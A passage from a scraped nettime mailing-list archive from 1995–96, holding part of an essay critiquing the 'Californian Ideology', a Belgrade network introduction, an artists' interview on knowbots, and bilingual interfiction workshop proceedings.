advocates of the 'virtual community'. According to\ntheir guru, Howard Rheingold, the values of the  counterDculture baby\nboomers are shaping the development of new information technologies. As\na consequence, community activists will be able to use hypermedia to\nreplace corporate capitalism and big government with a hi-tech 'gift\neconomy'. Already bulletin board systems, Net real-time conferences and\nchat facilities rely on the voluntary exchange of information and\nknowledge between their participants. In Rheingold's view, the members\nof the 'virtual class' are still in the forefront of the struggle for\nsocial liberation. Despite the frenzied commercial and political\ninvolvement in building the 'information superhighway', the electronic\nagora will inevitably triumph over its corporate and bureaucratic\nenemies.  17\n\nOn the other hand, other West Coast ideologues have embraced the laissez\nfaire ideology of their erstwhile conservative enemy. For example, Wired\n- the monthly bible of the 'virtual class' - has uncritically reproduced\nthe views of Newt Gingrich, the extreme-right Republican leader of the\nHouse of Representatives, and the Tofflers, who are his close advisors.\n18 Ignoring their policies for welfare cutbacks, the magazine is instead\nmesmerised by their enthusiasm for the libertarian possibilities offered\nby new information technologies. However, although they borrow McLuhan's\ntechnological determinism, Gingrich and the Tofflers aren't advocates of\nthe electronic agora. On the contrary, they claim that the convergence\nof the media, computing and telecommunications will produce an\nelectronic marketplace: 'In cyberspace..., market after market is being\ntransformed by technological progress from a \"natural monopoly\" to one\nin which competition is the rule.' 19\n\nIn this version of the Californian Ideology, each member of the 'virtual\nclass' is promised the opportunity to become a successful hi-tech\nentrepreneur. Information technologies, so the argument goes, empower\nthe individual, enhance personal freedom, and radically reduce the power\nof the nation-state. Existing social, political and legal power\nstructures will wither away to be replaced by unfettered interactions\nbetween autonomous individuals and their software. These restyled\nMcLuhanites vigorously argue that big government should stay off the\nbacks of resourceful entrepreneurs who are the only people cool and\ncourageous enough to take risks. In place of counter-productive\nregulations, visionary engineers are inventing the tools needed to\ncreate a 'free market' within cyberspace, such as encryption, digital\nmoney and verification procedures. Indeed, attempts to interfere with\nthe emergent properties of these technological and economic forces,\nparticularly by the government, merely rebound on those who are foolish\nenough to defy the primary laws of nature. According to the executive\neditor of Wired, the 'invisible hand' of the marketplace and the blind\nforces of Darwinian evolution are actually one and the same thing. 20 As\nin Heinlein's and Asimov's sci-fi novels, the path forwards to the\nfuture seems to lead back to the past. The twenty-first century\ninformation age will be the realisation of the eighteenth century\nliberal ideals of Thomas Jefferson: '...the...creation of a new\ncivilisation, founded in the eternal truths of the American Idea.'  21\n\nThe Myth of the 'Free Market'\n\nFollowing the victory of Gingrich's party in the 1994 legislative\nelections, this right-wing version of the Californian Ideology is now in\nthe ascendant. Yet, the sacred tenets of economic liberalism are\ncontradicted by the actual history of hypermedia. For instance, the\niconic technologies of the computer and the Net could only have been\ninvented with the aid of massive state subsidies and the enthusiastic\ninvolvement of amateurs. Private enterprise has played an important\nrole, but only as one part of a mixed economy.\n\nFor example, the first computer - the Difference Engine - was designed\nand built by private companies, but its development was only made\npossible through a British Government grant of \u001c17,470, which was a\nsmall fortune in 1834. 22 From Colossus to EDVAC, from flight simulators\nto virtual reality, the development of computing has depended at key\nmoments on public research handouts or fat contracts with public\nagencies. The IBM corporation only built the first programmable digital\ncomputer after it was requested to do so by the US Defense Department\nduring the Korean War. 23 Ever since, the development of successive\ngenerations of computers has been directly or indirectly subsidised by\nthe American defence budget. As well as state aid, the evolution of\ncomputing has also depended upon the involvement of d.i.y. culture. For\ninstance, the personal computer was invented by amateur techies who\nwanted to construct their own cheap machines. The existence of a 'gift\neconomy' amongst hobbyists was a necessary precondition for the\nsubsequent success of products made by Apple and Microsoft. Even now,\nshareware programs still play a vital role in advancing software design.\n\nThe history of the Internet also contradicts the tenets of the 'free\nmarket' ideologues. For the first twenty years of its existence, the\nNet's development was almost completely dependent on the much reviled\nAmerican federal government. Whether via the US military or through the\nuniversities, large amounts of tax payers' dollars went into building\nthe Net infrastructure and subsidising the cost of using its services.\nAt the same time, many of the key Net programs and applications were\ninvented either by hobbyists or by professionals working in their\nspare-time. For instance, the MUD program which allows real-time Net\nconferencing was invented by a group of students who wanted to play\nfantasy games over a computer network.  24\n\nOne of the weirdest things about the rightwards drift of the Californian\nIdeology is that the West Coast itself is a creation of the mixed\neconomy. Government dollars were used to build the irrigation systems,\nhighways, schools, universities and other infrastructural projects which\nmakes the good life possible in California. On top of these public\nsubsidies, the West Coast hi-tech industrial complex has been feasting\noff the fattest pork barrel in history for decades. The US government\nhas poured billions of tax dollars into buying planes, missiles,\nelectronics and nuclear bombs from Californian companies. For those not\nblinded by 'free market' dogmas, it was obvious that the Americans have\n",
                "to": "nettime {AT} is.in-berlin.de",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9512/msg00005.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "No",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "Drazen Pantic <drazen {AT} opennet.org>",
                        "content": "\nHi everybody!\n\nAs I am a new face here, let me introduce opennet.org and myself. \n\nI am a professor at the Department of Mathematics of Belgrade University,\nteaching probability theory. I do not need to mention that I am desperately\naddicted to that that vital-virtual thing,  Net. \n\nopennet.org is a first domain from Belgrade fully and permanently connected\nto the Inet.  Adrienne von Heteren from Amsterdam (now living in Belgrade)\nand me have literally created Inet cite. The dream about being connected\nstarted about year ego, and after a series of incredible difficulties and\nobstacles finally we have solved our  ontological problem. Solving all kinds\nof problems one can face making impossible dreams come true, we were often\nforced to think over the essence of the being connected.\n\nopennet.org is tied to Belgrade independent radio station B92 and connected\nto incredible supportive xs4all in Amsterdam. In fact we are at the\nbeginning now, but I hope that the progress will be very fast, as there are\nlot of open minded young people here who need to interact to similar people\nover the net.\n\nSee you all in Amsterdam, January 18-21.\n\nRegards to All\n\nDrazen\ndrazen {AT} openent.org\n\n\n",
                        "id": "00014",
                        "date": "Wed, 20 Sep 1995 23:36:19 +0100",
                        "to": "nettime {AT} is.in-berlin.de",
                        "message-id": "m0tSY3u&#45;000hLXC {AT} techno.opennet.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9512/msg00014.html",
                        "content-type": "text/plai",
                        "author_name": "Drazen Pantic",
                        "subject": "No"
                    },
                    {
                        "from": "Oabalzbhf",
                        "id": "00011",
                        "content": "\nP: Many 'media-works' supposed to be artistic are following the very old Aristotelian principle of mimesis: the work is just imitating nature with a new technology. Here you deal with the nature without any 'naturalistic' reproduction. We experience a complex of processes that are going on and define a new dimension of communication. Could we define it as a model of digital environment?\n\nC: Yes, we are on environments where the senses of the body are connected via interfaces to dynamic architectures. Sometimes these knowbots also have the 'mimetic' potential for dynamic processes, they are representing real 'data fluids' which you can contact and transform. Mimetic not in the meaning of traditional art: mimetic potential means the agent incorporating the process.\nWe can't use anymore the term representation because you are included now as an observer of reconstructed representations. I would like more to consider the word phenomena. \n\nP.:In your installations one feels a massive use of technology. Formally the only material one can see are computers and communication hi-tech equipment.\nAs artists using this technology which is your critical position regarding the economical-political process which is running together with the information world?\n\nC:  We are inside the technological system whose direction and speed are defined by the industry and science. Politics.  and arts have to follow and it is nearly impossible to do anything without being inside. It is a confrontation which can't work if you play with the traditional ways of art.\nYou have to be inside so that you can really see the consistency of the new technology, not only to say: \"OK this is their world\". This is our world and becomes bigger and bigger. We all depend on computers.\nI try to keep my vision free to understand what is outside and deal with both of these worlds. There are still many parts of our life which the technological system can't incorporate.\nTherefore I define myself an artist who can fight inside this self regulative order. Though I know everything I do could be good for the system because everything is connected but I fight and give up the respect for the big machines I am working with.\n\nP:The industrial revolution has delivered one of the biggest concern of our time: the pollution of the environment. The South Pole is an environment almost untouched by the man, where it is possible to make important observation about the environmental problem. Many scientists are able to visualize the effects of pollution, but it seems they have much more difficulties to reveal the origins. For an artist should be more important to fight the causes and not to the effects of the industrial pollution. \n\nY: Yes, a real solution is not fighting against the effects or against the people who destroy the ecosystems. It's necessary to struggle against the thinking of the people who make these strategies, against the scientists and politicians  who think they can predict reality by computing nature. It's an old artist's strategy to make politics and scientists aware about the consequences of their concepts of reality.\n\nP. What's your feeling about the time you need to produce this kind of work? \n\nC.: It always takes too long to realize a project when you work with technologies. It is a kind of paradox, not only for the technical complexity, also for the economical support.\nThe production's process of art takes longer than you want. You can't produce ten pieces a year. This is maybe  not understandable in the traditional way of art.\n\nP.:As we can speak of cyberspace, virtual space, we could think of a different notion of time. Past, future and present are existing together in your installation: the past is the work of the scientist, the present is the interaction in your installation and the future are the potential information going to be updated by the knowbots. How would you define the implicit time of this work?\n\nY: We are familiar with the notion of cyberspace, how can we modify space, compress space, extend space. I think you can do the same with time and the way you experience it. We make a concept for the practice of vision. The time we try to realize it is the present.\n\nC: Maybe if the work succeeds when somebody gets into our installation he realizes that there is a complex of different new aesthetical and cognitive structures to deal with. We can't offer results in our work, everybody could experiment in his own way, we offer a model which is still in discussion, which offer different layers of nature concepts simultaneously: a traditional physical model with light and temperature zones, a scientific simulation with the illusion \nof linear references and a networked info-aesthetical model generated by knowbots.\n\n\n\n\n\n**********   I  N  S  T  A  T ?    H  O  C    U  T  I  T  U  R    **********\nPaolo Atzori\nAcademy of Media Arts  Peter-Welter-Platz 2                       D-50676 Koeln   \nOffice:      *49-221-20189-141                        Fax:    *49-221-20189-17\ne-mail:Paolo {AT} khm.uni-koeln.de     URL: http://www.khm.uni-koeln.de/~Paolo\n\n\n\n\n",
                        "date": "Fri Apr 20 23:17:56 2001",
                        "message-id": "d41d8cd98f00b204e9800998ecf8427e {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9512/msg00011.html",
                        "content-type": "text/plai",
                        "author_name": "Anonymous",
                        "subject": "No"
                    }
                ],
                "message-id": "199512142102.AA05979 {AT} xs1.xs4all.nl",
                "date": "Thu, 14 Dec 1995 22:02:24 +0100",
                "content-type": "text/plai"
            },
            {
                "id": "00027",
                "content": "\nZK Proceedings 1995 \n>net criticism<\n**Essays/Statements\n\n   _        .-.            .--. _       .-.  _             \n  :_;      .' `.          : .-':_;     .' `.:_;            \n  .-.,-.,-.`. .'.--. .--. : `; .-. .--.`. .'.-. .--. ,-.,-.\n  : :: ,. : : :' '_.': ..': :  : :'  ..': : : :' .; :: ,. :\n  :_;:_;:_; :_;`.__.':_;  :_;  :_;`.__.':_; :_;`.__.':_;:_;\nASCII-documentation pt I\n-----------------------------------------------------------\n                                                    pre 0.1\n-----------------------------------------------------------\nTRANSLATED MESSAGE:\n\n*Preface: interfiction - perspectives and myths of counter-\npublic in data-nets\n\nThe global data-network is on everyone's lips. Initiatives \nthat plan and promote the further extension of the nets in \nthe big style originate in politics and economy. Goal of \nthis engangement is an efficiency-oriented and economy-\ncentered utilization of the new structures of \ncommunication. The capacity of these projects is already \nproven within a wide range of areas and especially curious \npeople are working with it yet. However, one can also judge \nthis development skeptically. Traveling on the data-highway \nand the visit of virtual department stores doesn't differ \nfrom the everyday purchase and from newspaper-reading \nparticularly. interfiction lays attention on the question \nhow these multi-functional communication-structures can be \nused in an innovative and unconventional type and manner. \ninterfiction would like to introduce these new \npossibilities from another perspective and sets the main \nfocus on the discussion about counter-public net-\nutilization.\n    Counter-public has turned itself into the myth. The \nidea that a critical contact with media leads inevitably to \na transformation of the society is obsolete. However, the \ndata-nets offer a new occasion to use this myth \nconstructively. Net-projects try, fascinated of the \npotentials of the net, to update the mythical dimensions of \nthe electronic structure. Globalization, democratization \nand free access to information are catchwords. So it is \npossible within the Internet, for example, to ensure direct \naccess to the entire data-material. As long as 'in real \nworld' the distribution of the calculators is limited the \nInternet is truly not a global net. The catchword \ndemocratization has to be considered skeptically as well. \nIt becomes more and more evident that the new technologies \nsimply entwine itself around the old structures. So there \nis a new myth of 'counter-public' with an inherent \nambivalent character. The world doesn't turn into a global \nvillage automatically, just as the data-networks do not \ninevitable render to a democratization.\n    Nevertheless the discussion about the net-myths could \nengage a critical reflection on the use of data-networks. \nThe projects who were invited to the interfiction-workshops \ntry to enable communication and interaction on net-adequate \nand innovative type and manner, what means in contrast to \npure efficiency-oriented projects. This is exactly the \ntopic, that interfiction wanted to process. The two-day \nworkshop took place at Dec the 8th and 9th 1995 to enable a \ndetailed and intensive discussion. Following you will find \nthe transcription of the beginning of the second workshop. \nsorry, only in German :-(\n\n\n-----------------------------------------------------------\nORIGINAL MESSAGE:\n\n*Einleitung: interfiction - Perspektiven und Mythen von \nGegenoeffentlichkeit in Datennetzen\n\nDie globale Datenvernetzung ist in aller Munde. In Politik \nund Wirtschaft entstehen Initiativen, die den weiteren \nAusbau der Netze im groszen Stil planen und foerdern. Ziel \ndieses Engangements ist eine effizienzorientierte und \nwirtschaftzentrierte Nutzung der neuen \nKommunikationsstrukturen. Diese Projekte sind in vielen \nBereichen bereits funktionsfaehig und werden von einem \nbesonders neugierigen Teil der Bevoelkerung auch schon \nbenutzt. Man kann diese Entwicklung jedoch auch skeptisch \nbeurteilen. Das Reisen auf der Datenautobahn und der Besuch \nvon virtuellen Warenhaeusern unterscheidet sich naemlich \nnicht sonderlich vom alltaeglichen Einkauf und vom \nZeitungslesen. interfiction stellt sich nun die Frage, wie \ndiese multifunktionalen Kommunikationsstrukturen auf eine \ninnovative und unkonventionelle Art und Weise benutzt \nwerden koennen. interfiction moechte diese neuen \nMoeglichkeiten aus einer anderen Perspektive vorstellen und \nden Schwerpunkt auf die Diskussion einer \n'gegenoeffentlichen' Netznutzung legen. \n    Gegenoeffentlichkeit ist selber zum Mythos geworden. \nDie Vorstellung, dasz ein kritischer Umgang mit Medien \nzwangslaeufig zu einer Umgestaltung der Gesellschaft \nfuehrt, ist veraltet. Die Datennetze bieten jedoch eine \nneuen Anlasz, diesen Mythos konstruktiv zu verwenden. \nNetzprojekte versuchen, fasziniert durch die Potentiale des \nNetzes, die mythischen Dimensionen der elektronischen \nStruktur zu aktualisieren. Schlagworte dazu sind \nGlobalisierung, Demokratisierung und freier Zugang zu \nInformationen. So ist es innerhalb des Internets \nbeispielsweise moeglich, unmittelbar auf das gesamte \nDatenmaterial zuzugreifen. Da in der 'realen' Welt jedoch \nkeine globale Verbreitung von Rechnern gegeben ist, ist das \nInternet kein wirklich globales Netz. Das Schlagwort \nDemokratisierung ist aehnlich skeptisch zu betrachten. \nImmer wahrscheinlicher wird es, dasz die neuen \nKommunikationstechnologien einfach um die alten Strukturen \nranken, diesen zwar partiell neue Moeglichkeiten schaffen, \nwobei deren Organisation aber unbeschadet bestehen bleibt. \nEs gibt also einen neuen 'Mythos Gegenoeffentlichkeit' in \nDatennetzen, der einen grundlegend ambivalenten Charakter \nhat. Die Welt wird keineswegs automatisch zu einem globalen \nDorf. Genausowenig wird die Datenvernetzung zu einer \nautomatischen Demokratisierung fuehren.\n    Die netzspezifischen Mythen werden aber fuer die von \nuns eingeladenen Netzprojekte zu einem Anhaltspunkt, wenn \nes um konkrete Umgangsweisen und Strategien in Datennetzen \ngeht. Im Gegensatz zu einer rein effizienzorientierten \nAnwendung versuchen diese Projekte auf netzadaequate und \ninnovative Art und Weise Kommunikation und Interaktion zu \nermoeglichen. Dieses ist genau das Thema, das interfiction \nbearbeiten will. interfiction moechte ein moeglichst \nbreites Spektrum von Initiativen vorstellen, die in den \nBereichen Kunst/Kultur, Stadt, Universitaet und \nJournalistik arbeiten, und sowohl Internet/WWW als auch \nMailbox-Systeme benutzen.\n    Im Zentrum von interfiction stand ein zweitaegiges \nSeminar. Es fand am 8.12 und am 9.12. jeweils von 13.00 bis \n17.00 Uhr statt. Durch die Seminarform sollte eine \nausfuehrliche und intensive Auseinandersetzung ermoeglicht \nwerden. Im folgenden nun eine Transkribierung des Beginns \nvom zweiten interfiction-Seminar.\n\n-----------------------------------------------------------\n*Transkribierung des Beginns von Seminar 2 - Kassel, 9.12.1995\n\nLegende\n/   / = SprecherIn\n_   _ = Betonung\n(...) = Auslassung\n[   ] = Anmerkung\n(-> ) = Referenz\n\n[Das Seminar wird durch die Veranstalter von Uwe Hermanns, \nHerbert A Meyer und Gerhard Wissner eroeffnet (->URL_1). Es \nwird auf eine Tischvorlage hingewiesen, die 18 ethische \nPrinzipien beinhaltet (->URL_1). Diese wurden von Tommaso\nTozzi (Strano Network, Italien) anlaesslich des Budapester \nTreffens Metaforum II verfasst (->URL_2). Zu Beginn wird \nVolker Grassmuck von den Veranstaltern darum gebeten, sein \naktuelles Projekt Access for All-FAQ (->URL_3) \nvorzustellen.]\n\n/Volker Grassmuck/\nZum Rahmen des Projekts: Ich wuerde mir das wuenschen als \neinen Beitrag fuer die Internet World Expo (->URL_4) im \nnaechsten Jahr, die von Carl Malamud und Vinton Cerf \norganisiert wird. Ich gehe davon aus, wenn ich mich in dem \nnicht voellig taeusche, dass es einen Internet-Hype geben \nwird im naechsten Jahr, der alles in den Schatten stellt, \nwas wir bislang gesehen haben. Die Expo geht nach dem \nModell der Weltausstellungen des 19. Jahrhunderts. Es ist \nalso eine industrielle Leistungsschau. Nicht nur - also da \nsind auch durchaus sozial engagierte Projekte vertreten, \naber vor allen Dingen geht es um Technologie, wenn ich das \nrichtig verstehe. Im Rahmen der Expo wuerde ich mir das \nangestrebte Projekt sehr gut vorstellen koennen. Ich \nmoechte diese access-for-all-Modelle, also Netzwerk-\nEntwicklung von unten, auch international praesentieren und \neine grosse Oeffentlichkeit dafuer gewinnen. Und dazu \nsollte es folgendes geben: Zunaechst einmal einen access-\nfor-all-File, also einen ersten Entwurf fuer einen \ntheoretischen, politischen Argumentationsstrang: Warum \naccess for all? Dann soll es eine Zusammenstellung von \nverschiedenen Projekten geben, die man unter dieses Dach \nfassen kann. Es geht nicht um eine neue Organisation oder \nsowas, sondern um die gesammelte Praesentation von \nProjekten, die zeigen, dass wir nicht auf die Telekom, \nnicht auf Burda und nicht auf Berlesconi und sonstjemanden \nangewiesen sind. Es geht darum, dass wir Netze selber \nmachen koennen. Ein besonderer Schwerpunkt liegt im \nHinblick auf die Gebuehrenerhoehung ab dem 1. Januar auf \nalternative Loesungen fuer den Local Loop, also fuer den \nletzten Kilometer bis zur Wohnung. Prenzlnet (->URL_5), \ngestern schon mehrfach angesprochen, soll ein Art Workshop-\nCharakter haben, wo die verschiedensten Loesungen von \nLasern bis zum Babyphon und Packet-Radio und so weiter \nausprobiert werden. Und am Schluss soll dabei eine Liste \nvon Starterkits herauskommen, die Projekte irgendwo auf dem \nLand... also Leute, die vielleicht auch nicht in solchen \nZusammenhaengen sind, aber trotzdem das an ihrem Ort machen \nwollen, beigehen koennen und sich sehr konkrete \nInformationen holen. Bis hin zu Bestellinformationen - wo \nkriegt man irgendwelche Lasertechnologie moeglichst billig \nzum Beispiel. Aber auch ueber Organisationsmodelle, \nFinanzierungsmodelle und so weiter muss man natuerlich \nnachdenken. Ebenso ueber Software, die bestimmte Gruppen \nentwickelt haben und die sie bereit sind, mit anderen zu \nteilen. Die Gemeinschaften, die da jeweils entstanden sind, \nsollten beschrieben werden. Das Ganze soll dann auf der \nNext 5 Minutes-Konferenz (->URL_6) praesentiert werden. Bis \ndahin ist das Projekt natuerlich noch nicht fertig. Es wird \naber auch nie fertig werden, sondern es soll nur der erste \nKristallisationskern sein, der eine moeglichst grosse \nBandbreite von organisatorischen und technischen Modellen \nvorstellt. Zum Beispiel die Digitale Stad (->URL_7), die \nInternationale Stadt (->URL_8), das Zamir-Net in Ex-\nJugoslawien (->URL_9), Bulletin-Board-Systeme (->URL_10) \nund so weiter. Und im Laufe des naechsten Jahres, die Expo \nlaeuft das ganze Jahr 1996, kann das dann Werkstatt-\nCharakter bekommen, auch die Website. Ueber diesen FAQ-File \nsoll nach Moeglichkeit die Diskussion weiterlaufen und es \nsollen weitere Projekte angeregt werden, die dann im Laufe \ndes naechsten Jahres entstehen und damit aufgenommen \nwerden.\n\n[Zwischenfragen zur Expo, mit der Bitte, diese genauer zu \neroertern.]\n \n/Volker Grassmuck/\nAlso Industrieschau ist auch ein bisschen zynisch \nformuliert. Ganz so schlimm ist es nicht. Ist Carl Malamud \nein Begriff? Der hat angefangen mit Internet-Talk-Radio, \nalso erstmals Broadcast im Internet, dann freie Programme, \nInterviews mit irgendwelchen Internet-Figuren, so \ntechnische Sachen. Er ist halt ein Hacker, Techno-Hacker. \nDann hat er ein Buch ueber ueber Internet-Traveller \ngeschrieben, war in Japan, Thailand, Schweiz. Ein sehr \naktiver Mensch aus der Techno-Szene. Industrie ist insofern \nnicht ganz richtig. Aber die Veranstalter der Expo haben \nKanaele zu den ganz Grossen. Es wird eine T3-Backbone-\nLeitung entstehen von San Francisco nach Washington, nach \nAmsterdam und nach Tokio. Das Stueck innerhalb der USA und \nnach Japan scheint schon zu stehen. Das wird von MCI bereit \ngestellt, das sind keine Hacker mehr. Aber so eine \nBackbone-Leitung zu legen ist auch fuer Hacker nicht so \nganz einfach. Und ansonsten ist die Internet-Expo total \noffen. Im Prinzip kann jeder dort Pavillons anmelden und \nevents machen. Zusaetzlich soll es auch darum gehen, \nausserhalb der Netze Zugangspunkte bereit zu stellen. Und \ndieses ist auch als Problem erkannt worden. Und da spielt \ndurchaus auch access-for-all, also oeffentliche, kostenlos \nbenutzbare Terminals, als Idee eine Rolle. Der Rahmen ist \nmir eigentlich nur wichtig, weil er fuer Oeffentlichkeit \nsorgen wird. Es ist ganz merkwuerdig, in Deutschland ist \ndie Expo ueberhaupt kein Thema. In Japan, in Thailand, in \nden USA ist sie das Thema ueberhaupt. Alle Leute, die \nirgendwas mit dem Internet zu tun haben, sind wie wahnsinng \ndabei, Pavillions fuers naechste Jahr zu bauen. \n\n[Zwischenfragen. Es wird geklaert, dass die Expo-Pavillions \nvirtuelle Pavillions, also Websites sind. Volker Grassmuck \nweist noch darauf hin, dass im Rahmen seines Projektes \ninhaltliche Kriterien, Unterscheidungskriterien entwickelt \nwerden sollen, nach denen man Projekte beurteilen kann. \nDaraufhin bitten die Veranstalter Tilmann Baumgaertel ueber \naktuelle Vorgaenge bei Compuserve zu berichten.] \n\n/Tilmann Baumgaertel/\nBei Compuserve gibt es eigentlich kein Forum, wo die Nutzer \nin irgendeiner Form auf das Unternehmen einwirken koennen, \nFragen stellen koennen. Deswegen hat sich \ninteressanterweise in den letzten Monaten das Hilfeforum \nveraendert, das eigentlich so ein Support-Forum ist, wo man \ntechnische Fragen stellen kann, zum Beispiel wie kriege ich \nmeine User-ID, wie kann ich mein Passwort aendern und so \nweiter. Da ist in den letzten Monaten eine Diskussion \naufgekommen, die recht grundsaetzliche Fragen stellt, wie \nbeispielsweise: In welcher Form muessen Sysops ihre \n",
                "to": "nettime {AT} is.in-berlin.de",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9601/msg00027.html",
                "list": "nettime_l",
                "author_name": "Herbert A. Meyer",
                "subject": "ZKP - interfiction",
                "from": "hameyer {AT} hrz.uni-kassel.de (Herbert A. Meyer)",
                "follow-up": [
                    {
                        "from": "hameyer {AT} hrz.uni-kassel.de (Herbert A. Meyer)",
                        "content": "\nZK Proceedings 1995 \n>net criticism<\n**Essays/Statements\n\n   _        .-.            .--. _       .-.  _             \n  :_;      .' `.          : .-':_;     .' `.:_;            \n  .-.,-.,-.`. .'.--. .--. : `; .-. .--.`. .'.-. .--. ,-.,-.\n  : :: ,. : : :' '_.': ..': :  : :'  ..': : : :' .; :: ,. :\n  :_;:_;:_; :_;`.__.':_;  :_;  :_;`.__.':_; :_;`.__.':_;:_;\nASCII-documentation pt I\n-----------------------------------------------------------\n                                                    pre 0.1\n-----------------------------------------------------------\nTRANSLATED MESSAGE:\n\n*Preface: interfiction - perspectives and myths of counter-\npublic in data-nets\n\nThe global data-network is on everyone's lips. Initiatives \nthat plan and promote the further extension of the nets in \nthe big style originate in politics and economy. Goal of \nthis engangement is an efficiency-oriented and economy-\ncentered utilization of the new structures of \ncommunication. The capacity of these projects is already \nproven within a wide range of areas and especially curious \npeople are working with it yet. However, one can also judge \nthis development skeptically. Traveling on the data-highway \nand the visit of virtual department stores doesn't differ \nfrom the everyday purchase and from newspaper-reading \nparticularly. interfiction lays attention on the question \nhow these multi-functional communication-structures can be \nused in an innovative and unconventional type and manner. \ninterfiction would like to introduce these new \npossibilities from another perspective and sets the main \nfocus on the discussion about counter-public net-\nutilization.\n    Counter-public has turned itself into the myth. The \nidea that a critical contact with media leads inevitably to \na transformation of the society is obsolete. However, the \ndata-nets offer a new occasion to use this myth \nconstructively. Net-projects try, fascinated of the \npotentials of the net, to update the mythical dimensions of \nthe electronic structure. Globalization, democratization \nand free access to information are catchwords. So it is \npossible within the Internet, for example, to ensure direct \naccess to the entire data-material. As long as 'in real \nworld' the distribution of the calculators is limited the \nInternet is truly not a global net. The catchword \ndemocratization has to be considered skeptically as well. \nIt becomes more and more evident that the new technologies \nsimply entwine itself around the old structures. So there \nis a new myth of 'counter-public' with an inherent \nambivalent character. The world doesn't turn into a global \nvillage automatically, just as the data-networks do not \ninevitable render to a democratization.\n    Nevertheless the discussion about the net-myths could \nengage a critical reflection on the use of data-networks. \nThe projects who were invited to the interfiction-workshops \ntry to enable communication and interaction on net-adequate \nand innovative type and manner, what means in contrast to \npure efficiency-oriented projects. This is exactly the \ntopic, that interfiction wanted to process. The two-day \nworkshop took place at Dec the 8th and 9th 1995 to enable a \ndetailed and intensive discussion. Following you will find \nthe transcription of the beginning of the second workshop. \nsorry, only in German :-(\n\n\n-----------------------------------------------------------\nORIGINAL MESSAGE:\n\n*Einleitung: interfiction - Perspektiven und Mythen von \nGegenoeffentlichkeit in Datennetzen\n\nDie globale Datenvernetzung ist in aller Munde. In Politik \nund Wirtschaft entstehen Initiativen, die den weiteren \nAusbau der Netze im groszen Stil planen und foerdern. Ziel \ndieses Engangements ist eine effizienzorientierte und \nwirtschaftzentrierte Nutzung der neuen \nKommunikationsstrukturen. Diese Projekte sind in vielen \nBereichen bereits funktionsfaehig und werden von einem \nbesonders neugierigen Teil der Bevoelkerung auch schon \nbenutzt. Man kann diese Entwicklung jedoch auch skeptisch \nbeurteilen. Das Reisen auf der Datenautobahn und der Besuch \nvon virtuellen Warenhaeusern unterscheidet sich naemlich \nnicht sonderlich vom alltaeglichen Einkauf und vom \nZeitungslesen. interfiction stellt sich nun die Frage, wie \ndiese multifunktionalen Kommunikationsstrukturen auf eine \ninnovative und unkonventionelle Art und Weise benutzt \nwerden koennen. interfiction moechte diese neuen \nMoeglichkeiten aus einer anderen Perspektive vorstellen und \nden Schwerpunkt auf die Diskussion einer \n'gegenoeffentlichen' Netznutzung legen. \n    Gegenoeffentlichkeit ist selber zum Mythos geworden. \nDie Vorstellung, dasz ein kritischer Umgang mit Medien \nzwangslaeufig zu einer Umgestaltung der Gesellschaft \nfuehrt, ist veraltet. Die Datennetze bieten jedoch eine \nneuen Anlasz, diesen Mythos konstruktiv zu verwenden. \nNetzprojekte versuchen, fasziniert durch die Potentiale des \nNetzes, die mythischen Dimensionen der elektronischen \nStruktur zu aktualisieren. Schlagworte dazu sind \nGlobalisierung, Demokratisierung und freier Zugang zu \nInformationen. So ist es innerhalb des Internets \nbeispielsweise moeglich, unmittelbar auf das gesamte \nDatenmaterial zuzugreifen. Da in der 'realen' Welt jedoch \nkeine globale Verbreitung von Rechnern gegeben ist, ist das \nInternet kein wirklich globales Netz. Das Schlagwort \nDemokratisierung ist aehnlich skeptisch zu betrachten. \nImmer wahrscheinlicher wird es, dasz die neuen \nKommunikationstechnologien einfach um die alten Strukturen \nranken, diesen zwar partiell neue Moeglichkeiten schaffen, \nwobei deren Organisation aber unbeschadet bestehen bleibt. \nEs gibt also einen neuen 'Mythos Gegenoeffentlichkeit' in \nDatennetzen, der einen grundlegend ambivalenten Charakter \nhat. Die Welt wird keineswegs automatisch zu einem globalen \nDorf. Genausowenig wird die Datenvernetzung zu einer \nautomatischen Demokratisierung fuehren.\n    Die netzspezifischen Mythen werden aber fuer die von \nuns eingeladenen Netzprojekte zu einem Anhaltspunkt, wenn \nes um konkrete Umgangsweisen und Strategien in Datennetzen \ngeht. Im Gegensatz zu einer rein effizienzorientierten \nAnwendung versuchen diese Projekte auf netzadaequate und \ninnovative Art und Weise Kommunikation und Interaktion zu \nermoeglichen. Dieses ist genau das Thema, das interfiction \nbearbeiten will. interfiction moechte ein moeglichst \nbreites Spektrum von Initiativen vorstellen, die in den \nBereichen Kunst/Kultur, Stadt, Universitaet und \nJournalistik arbeiten, und sowohl Internet/WWW als auch \nMailbox-Systeme benutzen.\n    Im Zentrum von interfiction stand ein zweitaegiges \nSeminar. Es fand am 8.12 und am 9.12. jeweils von 13.00 bis \n17.00 Uhr statt. Durch die Seminarform sollte eine \nausfuehrliche und intensive Auseinandersetzung ermoeglicht \nwerden. Im folgenden nun eine Transkribierung des Beginns \nvom zweiten interfiction-Seminar.\n\n-----------------------------------------------------------\n*Transkribierung des Beginns von Seminar 2 - Kassel, 9.12.1995\n\nLegende\n/   / = SprecherIn\n_   _ = Betonung\n(...) = Auslassung\n[   ] = Anmerkung\n(-> ) = Referenz\n\n[Das Seminar wird durch die Veranstalter von Uwe Hermanns, \nHerbert A Meyer und Gerhard Wissner eroeffnet (->URL_1). Es \nwird auf eine Tischvorlage hingewiesen, die 18 ethische \nPrinzipien beinhaltet (->URL_1). Diese wurden von Tommaso\nTozzi (Strano Network, Italien) anlaesslich des Budapester \nTreffens Metaforum II verfasst (->URL_2). Zu Beginn wird \nVolker Grassmuck von den Veranstaltern darum gebeten, sein \naktuelles Projekt Access for All-FAQ (->URL_3) \nvorzustellen.]\n\n/Volker Grassmuck/\nZum Rahmen des Projekts: Ich wuerde mir das wuenschen als \neinen Beitrag fuer die Internet World Expo (->URL_4) im \nnaechsten Jahr, die von Carl Malamud und Vinton Cerf \norganisiert wird. Ich gehe davon aus, wenn ich mich in dem \nnicht voellig taeusche, dass es einen Internet-Hype geben \nwird im naechsten Jahr, der alles in den Schatten stellt, \nwas wir bislang gesehen haben. Die Expo geht nach dem \nModell der Weltausstellungen 